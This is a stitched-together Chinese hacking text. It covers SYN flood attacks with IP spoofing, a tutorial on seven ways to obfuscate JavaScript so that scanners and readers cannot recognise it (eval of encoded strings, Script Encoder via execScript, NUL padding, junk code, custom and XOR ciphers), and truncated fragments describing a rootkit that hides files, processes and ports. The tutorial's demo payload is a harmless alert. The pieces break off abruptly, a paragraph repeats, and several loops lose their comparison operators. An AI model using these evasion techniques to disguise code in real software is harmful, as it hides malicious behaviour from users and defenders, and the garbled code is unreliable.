Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列
一:最简单的加密解密
大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵!如何?这次是完全都加密了!
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
SCRIPT LANGUAGE="JavaScript"
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
/SCRIPT
是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵
二:转义字符"\"的妙用
大家可能对转义字符"\"不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\' (单引号 )等应该是有所了解的吧?其实"\"后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"1"或"\x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:
八进制转义字符串如下:
SCRIPT LANGUAGE="JavaScript"
eval("14524\u9ED1\u5BA2\u9632\u7EBF")
/SCRIPT
十六进制转义字符串如下:
SCRIPT LANGUAGE="JavaScript"
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
/SCRIPT
这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
SCRIPT LANGUAGE="JavaScript"
alert("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
/SCRIPT
就会弹出对话框告诉你解密后的结果!
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码
工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
SCRIPT LANGUAGE="JavaScript"
var Senc=new ActiveXObject("Scripting.Encoder");
var code='SCRIPT LANGUAGE="JavaScript"\r\nalert("《黑客防线》");\r\n\/SCRIPT';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
/SCRIPT
编码后的结果如下:
SCRIPT LANGUAGE="JScript.Encode"#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@/SCRIPT
够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
SCRIPT LANGUAGE="JScript.Encode"
function decode(){
#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@
}
alert(decode.toString());
/SCRIPT
咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )
参数:
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时,前面的"window"可以省略不写!
利用它我们可以很好的运行编码后的JavaScript代码,如下:
SCRIPT LANGUAGE="JavaScript"
execScript("#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@","JScript.Encode")
/SCRIPT
你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!
四:任意添加NUL空字符(十六进制00H)
一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")
S C RI P T L ANG U A G E =" J a v a S c r i p t "
a l er t (" 黑 客 防 线") ;
/ SC R I P T
如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!
五:无用内容混乱以及换行空格TAB大法
在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:
SCRIPT LANGUAGE="JavaScript"
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%*()((^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"黑\
\
客\
防线"//ashjgfgf
/*
@#%$^%667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
/SCRIPT
至少如果我看到这样的代码是不会有心思去分析它的,你哪?
六:自写解密函数法
这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,
加密代码如下(详细参照文件"加密.htm"):
SCRIPT LANGUAGE="JavaScript"
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;icode.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)+code.charCodeAt(i-1));
}
alert(escape(c));
}
compile('alert("《黑客防线》");')
/SCRIPT
运行得到加密结果为:
o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd
相应的加密后解密的代码如下:
SCRIPT LANGUAGE="JavaScript"
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;icode.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));
}
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
/SCRIPT
七:错误的利用
利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子
SCRIPT LANGUAGE="JavaScript"
var a='alert("《黑客防线》");';
var c="";
for(var i=0;ia.length;i++){
c+=String.fromCharCode(a.charCodeAt(i)^61);}
alert(c);
//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的
//现在变量c就是加密后的代码
//下面的函数t()先假设初始密码为0,解密执行,
//遇到错误则把密码加1,然后接着解密执行,直到正确运行
var d=c; //保存加密后的代码
var b=0; //假定初始密码为0
t();
function t(){
try{eval(c);}catch(e){
c="";
for(var i=0;id.length;i++){
c+=String.fromCharCode(d.charCodeAt(i)^b);}
b+=1;
t();
//setTimeout("t()",0);
}
}
/SCRIPT
换行空格TAB大法 在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\
===程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪
闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。OPEN 0 Port number 0 opened. CLOSE 0 Port number 0 close